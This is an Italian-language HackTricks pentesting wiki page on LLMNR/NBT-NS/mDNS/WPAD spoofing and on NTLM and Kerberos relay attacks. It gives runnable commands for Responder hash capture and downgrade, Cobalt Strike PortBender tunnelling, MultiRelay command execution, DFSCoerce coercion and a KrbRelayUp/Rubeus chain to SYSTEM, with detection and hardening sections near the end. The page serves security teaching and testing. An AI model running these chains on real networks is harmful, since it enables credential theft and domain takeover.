mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
234 lines
14 KiB
Markdown
234 lines
14 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Relay
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Protocolli di Rete
|
|
|
|
### Protocolli di Risoluzione Locale degli Host
|
|
|
|
- **LLMNR, NBT-NS e mDNS**:
|
|
- Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
|
|
- Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
|
|
- [Responder](https://github.com/lgandx/Responder) può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
|
|
- Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### Protocollo di Scoperta Automatica del Proxy Web (WPAD)
|
|
|
|
- WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
|
|
- La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
|
|
- Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.
|
|
|
|
### Responder per il Veleno dei Protocolli
|
|
|
|
- **Responder** è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
|
|
- È preinstallato in Kali Linux, configurabile in `/etc/responder/Responder.conf`.
|
|
- Responder visualizza gli hash catturati sullo schermo e li salva nella directory `/usr/share/responder/logs`.
|
|
- Supporta sia IPv4 che IPv6.
|
|
- La versione Windows di Responder è disponibile [qui](https://github.com/lgandx/Responder-Windows).
|
|
|
|
#### Esecuzione di Responder
|
|
|
|
- Per eseguire Responder con impostazioni predefinite: `responder -I <Interface>`
|
|
- Per un probing più aggressivo (con potenziali effetti collaterali): `responder -I <Interface> -P -r -v`
|
|
- Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: `responder -I <Interface> --lm --disable-ess`
|
|
- L'impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
|
|
- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: `responder.py -I <interface> -Pv`
|
|
|
|
### Avvelenamento DHCP con Responder
|
|
|
|
- Falsificare le risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva all'avvelenamento ARP.
|
|
- Richiede una conoscenza precisa della configurazione della rete target.
|
|
- Esecuzione dell'attacco: `./Responder.py -I eth0 -Pdv`
|
|
- Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.
|
|
|
|
### Cattura delle Credenziali con Responder
|
|
|
|
- Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
|
|
- Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.
|
|
|
|
È fondamentale notare che l'impiego di queste tecniche deve essere effettuato legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh è uno strumento per tester di penetrazione e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
|
|
|
Inveigh può essere operato tramite PowerShell:
|
|
```bash
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
O eseguito come un binario C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### Attacco di Relay NTLM
|
|
|
|
Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina target, concedendo una shell di sistema se ha successo. I requisiti chiave includono:
|
|
|
|
- L'utente che si autentica deve avere accesso come Amministratore Locale sull'host relayato.
|
|
- La firma SMB deve essere disabilitata.
|
|
|
|
#### Inoltro e Tunnelizzazione della Porta 445
|
|
|
|
In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come [**PortBender**](https://github.com/praetorian-inc/PortBender) aiutano a reindirizzare il traffico della porta 445 a un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.
|
|
|
|
Impostazione e funzionamento di PortBender in Cobalt Strike:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Altri Strumenti per l'Attacco di Relay NTLM
|
|
|
|
- **Metasploit**: Configurato con proxy, dettagli degli host locali e remoti.
|
|
- **smbrelayx**: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
|
|
- **MultiRelay**: Uno strumento della suite Responder per relay di utenti specifici o di tutti gli utenti, esecuzione di comandi o dumping di hash.
|
|
|
|
Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.
|
|
|
|
### Operazione di MultiRelay
|
|
|
|
MultiRelay viene eseguito dalla directory _**/usr/share/responder/tools**_, mirando a IP o utenti specifici.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
Questi strumenti e tecniche formano un insieme completo per condurre attacchi di NTLM Relay in vari ambienti di rete.
|
|
|
|
### Forzare i login NTLM
|
|
|
|
In Windows **potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie**. Leggi la pagina seguente per scoprire come:
|
|
|
|
{{#ref}}
|
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
|
{{#endref}}
|
|
|
|
## Attacco Kerberos Relay
|
|
|
|
Un **attacco Kerberos relay** ruba un **ticket AP-REQ** da un servizio e lo riutilizza contro un secondo servizio che condivide la **stessa chiave dell'account computer** (perché entrambi gli SPN si trovano sullo stesso account macchina `$`). Questo funziona anche se le **classi di servizio degli SPN differiscono** (ad es. `CIFS/` → `LDAP/`) perché la *chiave* che decripta il ticket è l'hash NT della macchina, non la stringa SPN stessa e la stringa SPN non fa parte della firma.
|
|
|
|
A differenza del relay NTLM, il salto è limitato alla *stessa host*, ma, se punti a un protocollo che ti consente di scrivere su LDAP, puoi concatenarti in **Delegazione Constrainata Basata su Risorse (RBCD)** o **registrazione AD CS** e ottenere **NT AUTHORITY\SYSTEM** in un colpo solo.
|
|
|
|
Per informazioni dettagliate su questo attacco controlla:
|
|
|
|
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
|
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
|
|
|
- 1. **Nozioni di base su Kerberos**
|
|
|
|
| Token | Scopo | Rilevanza del relay |
|
|
|-------|---------|-----------------|
|
|
| **TGT / AS-REQ ↔ REP** | Prova l'utente al KDC | intatto |
|
|
| **Ticket di servizio / TGS-REQ ↔ REP** | Legato a un **SPN**; crittografato con la chiave del proprietario dello SPN | intercambiabile se gli SPN condividono l'account |
|
|
| **AP-REQ** | Il client invia `TGS` al servizio | **cosa rubiamo e riproduciamo** |
|
|
|
|
* I ticket sono crittografati con la **chiave derivata dalla password dell'account che possiede lo SPN**.
|
|
* L'**Autenticatore** all'interno dell'AP-REQ ha un timestamp di 5 minuti; la riproduzione all'interno di quella finestra è valida fino a quando la cache del servizio non vede un duplicato.
|
|
* Windows controlla raramente se la stringa SPN nel ticket corrisponde al servizio che colpisci, quindi un ticket per `CIFS/HOST` normalmente si decripta correttamente su `LDAP/HOST`.
|
|
|
|
- 2. **Cosa deve essere vero per relay Kerberos**
|
|
|
|
1. **Chiave condivisa:** gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
|
|
2. **Nessuna protezione del canale:** SMB/LDAP disabilitato e EPA disabilitato per HTTP/LDAPS.
|
|
3. **Puoi intercettare o costringere l'autenticazione:** avvelenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM rogue, ecc..
|
|
4. **Fonte del ticket non già utilizzata:** vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
|
|
5. Devi in qualche modo essere in grado di eseguire un **MitM nella comunicazione**, magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o essere in grado di cambiare il file HOST della vittima.
|
|
|
|
### Passi per il Relay Kerberos
|
|
|
|
- 3.1 **Riconoscere l'host**
|
|
```powershell
|
|
# find servers where HTTP, LDAP or CIFS share the same machine account
|
|
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
|
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
|
Select Name,servicePrincipalName
|
|
```
|
|
- 3.2 **Avvia il listener di relay**
|
|
|
|
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
|
```powershell
|
|
# one-click local SYSTEM via RBCD
|
|
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
|
```
|
|
`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → bypass SCM** in un unico binario.
|
|
|
|
- 3.3 **Costringere l'autenticazione Kerberos**
|
|
```powershell
|
|
# coerce DC to auth over SMB with DFSCoerce
|
|
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
|
```
|
|
DFSCoerce fa sì che il DC ci invii un ticket Kerberos `CIFS/DC01`.
|
|
|
|
- 3.4 **Ritrasmettere l'AP-REQ**
|
|
|
|
KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
|
|
|
|
- 3.5 **Abuso di LDAP ➜ RBCD ➜ SYSTEM**
|
|
```powershell
|
|
# (auto inside KrbRelayUp) manual for clarity
|
|
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
|
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
|
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
|
SCMUACBypass.exe
|
|
```
|
|
You now own **NT AUTHORITY\SYSTEM**.
|
|
|
|
|
|
### **Altri percorsi da conoscere**
|
|
|
|
| Vettore | Trucco | Perché è importante |
|
|
|--------|-------|----------------|
|
|
| **AuthIP / IPSec** | Server falso invia un **payload GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente a te | Funziona anche attraverso sottoreti; credenziali macchina per impostazione predefinita |
|
|
| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Privilegi locali puri; elude il firewall |
|
|
| **AD CS Web Enroll** | Inoltra il ticket della macchina a `HTTP/CA` e ottieni un certificato, poi **PKINIT** per coniare TGT | Elude le difese di firma LDAP |
|
|
| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Non è necessario aggiungere un account computer |
|
|
|
|
### **Risoluzione dei problemi**
|
|
|
|
| Errore | Significato | Correzione |
|
|
|-------|---------|-----|
|
|
| `KRB_AP_ERR_MODIFIED` | Chiave del ticket ≠ chiave di destinazione | Host/SPN errato |
|
|
| `KRB_AP_ERR_SKEW` | Orologio > 5 min di offset | Sincronizza l'ora o usa `w32tm` |
|
|
| Il bind LDAP fallisce | Firma forzata | Usa il percorso AD CS o disabilita la firma |
|
|
| Spam Evento 4649 | Il servizio ha visto un Autenticatore duplicato | blocca o gareggia con il pacchetto originale |
|
|
|
|
|
|
### **Rilevamento**
|
|
|
|
* Aumento in **Evento 4769** per `CIFS/`, `HTTP/`, `LDAP/` dalla stessa fonte in pochi secondi.
|
|
* **Evento 4649** sul servizio indica replay rilevato.
|
|
* Accesso Kerberos da **127.0.0.1** (inoltro a SCM locale) è altamente sospetto—mappa tramite regola Sigma nella documentazione di KrbRelayUp.
|
|
* Osserva le modifiche agli attributi `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
|
|
|
|
## **Rinforzo**
|
|
|
|
1. **Forza la firma LDAP e SMB + EPA** su ogni server.
|
|
2. **Dividi gli SPN** in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
|
|
3. Patching dei vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
|
|
4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare le unioni di computer non autorizzate.
|
|
5. Allerta su **Evento 4649** e accessi Kerberos loopback imprevisti.
|
|
|
|
|
|
|
|
## Riferimenti
|
|
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|